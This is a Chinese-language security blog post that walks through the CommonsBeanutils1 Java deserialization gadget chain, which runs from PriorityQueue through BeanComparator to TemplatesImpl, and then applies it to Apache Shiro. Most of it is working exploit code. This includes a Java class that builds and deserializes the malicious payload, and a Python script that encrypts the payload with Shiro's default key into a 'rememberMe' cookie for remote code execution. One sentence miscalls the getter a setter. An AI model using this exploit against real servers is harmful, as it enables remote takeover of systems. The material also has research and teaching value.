0x00 前言 在上一篇文章《Java中动态加载字节码的几种方法 》中,已对CommonsBeanutils1做了一点点铺垫。一言以蔽之,上文中所提到的TemplatesImpl#getOutputProperties即为CommonsBeanutils1中的Sink,此部分内容即为前置知识,若有疑惑请回顾上文,在本文中将不再赘述。
0x01 Commons BeanUtils简介 Commons BeanUtils是Apache软件基金会提供的一个开源Java库,用于简化JavaBean的操作,适用于需要频繁操作JavaBean的场景。它提供了一组工具类和方法,对JavaBean进行常见操作,如属性的复制、属性的获取和设置、属性的类型转换等。通过使用Commons BeanUtils,开发人员可以减少重复代码的编写,提高开发效率,同时提升代码的可维护性和可扩展性。
0x02 受影响版本范围 Commons BeanUtils最低影响1.7.0,最高影响至1.9.4;对于Java版本,若为8则通杀。
0x03 PropertyUtils#getProperty org.apache.commons.beanutils.PropertyUtils#getProperty是Commons BeanUtils中的一个用于获取JavaBean对象属性值的方法。
JavaBean 关于JavaBean是什么,其所具有的特征就是它必须具有一个公共无参构造方法;且通常包含一系列私有字段(即成员变量),每个字段都有对应的公共访问器(getter方法)和修改器(setter方法),用于访问和修改字段的值,这些方法需遵循命名规范,如getXxx()
和setXxx()
驼峰式命名。如下的Person就是一个简单的JavaBean。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.javasec.cb;public class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public int getAge () { return age; } }
当我们创建完一个Person对象,并需要获取它的name、age时,通常会调用该对象的getName、getAge,这两个方法也是其getter方法。
getProperty 现在,我们可以使用PropertyUtils#getProperty达到相同的效果,见如下示例代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.javasec.cb;import org.apache.commons.beanutils.PropertyUtils;public class PropertyUtilsTest { public static void main (String[] args) throws Exception { Person person = new Person ("John" , 30 ); System.out.println(person.getName() + ": " + person.getAge()); System.out.println("=======================" ); String name = (String) PropertyUtils.getProperty(person, "name" ); int age = (int ) PropertyUtils.getProperty(person, "age" ); System.out.println(name + ": " + age); } }
getProperty方法接受两个参数,第一个是获取属性值的JavaBean对象,第二个则是属性名。
1 2 3 4 5 6 public static Object getProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return (PropertyUtilsBean.getInstance().getProperty(bean, name)); }
需要着重注意地是,getProperty方法会根据传入的属性名自动找到其getter方法,并进行调用。
0x04 BeanComparator org.apache.commons.beanutils.BeanComparator是Commons BeanUtils库提供的一个比较器类,用于对JavaBean对象进行比较和排序。
compare方法 在BeanComparator#compare方法中存在对PropertyUtils.getProperty方法的调用,前提是this.property不为null。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public int compare ( T o1, T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } }
在本文的开头,提到了关于CommonsBeanutils1的Sink,即TemplatesImpl#getOutputProperties方法,这个方法名称是以”get”开头,符合getter方法的定义。
那么,结合上一部分中所提到的,getProperty自动调用传入属性名的setter方法的特性,我们便可以构造如下代码,运行便会弹出计算器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.javasec.cb;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.lang.reflect.Field;public class BeanComparatorTest { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator ("outputProperties" ); comparator.compare(obj, obj); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
脱离Commons Collections 在初始化BeanComparator时可传入property和comparator,在只传入property时,默认comparator会是ComparableComparator.getInstance(),而ComparableComparator这个类又属于Commons Collections。
1 2 3 4 5 6 7 8 9 10 11 12 public BeanComparator ( String property ) { this ( property, ComparableComparator.getInstance() ); } public BeanComparator (String property, Comparator<?> comparator) { this .setProperty(property); if (comparator != null ) { this .comparator = comparator; } else { this .comparator = ComparableComparator.getInstance(); } }
1 2 3 package org.apache.commons.collections.comparators;public class ComparableComparator implements Comparator , Serializable
这就导致必须要有Commons Collections的存在,CommonsBeanutils1才可正常地利用。幸运地是在1.9.0至1.9.4版本的Commons BeanUtils,自带了Commons Collections的,在这个范围内是可正常利用的。
但在1.9.0以下的版本,却是不包含Commons Collections的,所以需要找到一个替代的类,这个类需要跟ComparableComparator一样,同时实现了java.util.Comparator接口和java.io.Serializable接口,且该类最好是原生JDK自带,或者存在于Commons BeanUtils中,这样也能够更好地满足兼容性。
最终找到两个符合条件的类,如下图,java.lang.String.CaseInsensitiveComparator与java.util.Collections.ReverseComparator。
注意它们的private访问修饰符,可通过同类下其他public访问修饰符的方法进行调用。
1 2 BeanComparator comparator = new BeanComparator ("outputProperties" , String.CASE_INSENSITIVE_ORDER);
如此,便能在无Commons Collections的情况下,从Commons BeanUtils 1.7.0至1.9.4版本均能够顺利地利用。
以上,已对Sink与中间链进行了结合,现在只剩一个Kick off类便可拼凑成一条完整的利用链。
0x05 PriorityQueue java.util.PriorityQueue
是Java中的一个优先队列实现类,优先队列是一种特殊的队列,其中的元素按照一定的优先级顺序排列,而不是按照它们被插入的顺序排列。
在对PriorityQueue
进行反序列化时,如果PriorityQueue
是使用比较器进行排序的,则会重新设置比较器,并根据比较器对元素进行排序。
在如下readObject方法中调用了heapify方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
继续跟进heapify,发现其中存在siftDown的调用。
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
而siftDown中又有siftDownUsingComparator方法。
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
siftDownUsingComparator则对compare进行了调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
根据如上所有进行总结,当对PriorityQueue对象进行反序列化时,会通过PriorityQueue#readObject中的heapify方法调用到siftDownUsingComparator,并在其中触发BeanComparator#compare的调用;当设置property为outputProperties时,在BeanComparator#compare中会通过PropertyUtils#getProperty触发BeanComparator的getter方法即TemplatesImpl#getOutputProperties的执行,最终便能够达到加载任意恶意字节码,实施攻击。
0x06 CommonsBeanutils1利用代码 根据如上所有,构造最终的CommonsBeanutils1利用代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package com.javasec.cb;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.util.Collections;public class CBRCEWithoutCC { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CBRCEWithoutCC.ser" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CBRCEWithoutCC.ser" )); inputStream.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
如下是部分关键调用栈。
1 2 3 4 5 6 7 8 9 getOutputProperties:507 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax), TemplatesImpl.java getProperty:290 , PropertyUtils (org.apache.commons.beanutils), PropertyUtils.java compare:150 , BeanComparator (org.apache.commons.beanutils), BeanComparator.java siftDownUsingComparator:722 , PriorityQueue (java.util), PriorityQueue.java siftDown:688 , PriorityQueue (java.util), PriorityQueue.java heapify:737 , PriorityQueue (java.util), PriorityQueue.java readObject:797 , PriorityQueue (java.util), PriorityQueue.java readObject:422 , ObjectInputStream (java.io), ObjectInputStream.java main:50 , CBRCEWithoutCC (com.javasec.cb), CBRCEWithoutCC.java
0x07 CB1在Shiro中的利用 在Shiro中是存在Commons BeanUtils组件的,但未必会有Commons Collections,所以恰巧可利用CommonsBeanutils1来攻击Shiro。
编写如下简易Python脚本,用于生成Payload,./CBRCEWithoutCC.ser文件是通过如上利用代码生成的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64import uuidfrom Crypto.Cipher import AESwith open ('./CBRCEWithoutCC.ser' , 'rb' ) as f: data = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), AES.MODE_CBC, iv) print ("Cookie: rememberMe={}" .format (base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
运行脚本,打印恶意的rememberMe Payload,并在BurpSuite中构造恶意请求,最终成功实现RCE。
0x08 参考 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java
https://commons.apache.org/proper/commons-beanutils/
https://github.com/phith0n/JavaThings